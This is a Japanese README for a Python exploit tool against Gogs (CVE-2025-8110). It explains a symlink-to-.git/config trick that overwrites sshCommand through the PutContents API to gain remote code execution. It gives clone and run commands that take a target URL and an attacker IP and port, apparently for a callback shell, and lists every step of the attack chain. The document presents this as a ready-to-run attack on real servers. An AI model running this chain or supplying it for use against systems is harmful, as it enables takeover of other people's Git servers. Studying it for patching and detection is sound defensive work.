
GOGS RCE cve-2025-8110 Pythonスクリプト。リポジトリを作成し、.git/config を指すシンボリックリンクファイルを設置し、設定ファイルの sshCommand を改ざんしてRCEをトリガーする攻撃チェーン全体を自動化します。
Gogs は軽量でセルフホスト可能な Git サービスであり、GitHub のプライベート版に似ています。低リソースのサーバーでも簡単に動作するように設計されています。CVE-2025-8110 の脆弱性は、シンボリックリンクを使用することでパス制限を回避できる重大なセキュリティ欠陥です。攻撃者は .api/config を指す悪意のあるリンクをアップロードすることで、gogs API を利用して sshCommand パラメータを含む悪意のある設定ファイルを埋め込み、ホストサーバー上で RCE を達成できます。
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# ヘルプを表示
python3 ./cve-2025-8110.py --help
# 登録ステップを含む攻撃チェーンを実行
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# 登録をスキップして攻撃チェーンを実行(register関数がエラーを返す場合に便利)
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
このスクリプトは以下のステップからなる攻撃チェーンに従います:
1. 使い捨てアカウントを登録し認証する(-U および -P フラグで資格情報が提供された場合は登録をスキップ)
2. API ベアラートークンを取得する
3. 自動初期化されたリポジトリを作成する
4. ローカルにリポジトリをクローンし、相対シンボリックリンク malicious_link -> .git/config をプッシュする
5. PutContents API を介してシンボリックリンクを通じて悪意のある git config(sshCommand を含む)を PUT する
6. SSH 経由でリポジトリをクローンして sshCommand をトリガーする
このスクリプトは zAbuQasem (https://github.com/zAbuQasem) の PoC を基に作成されました。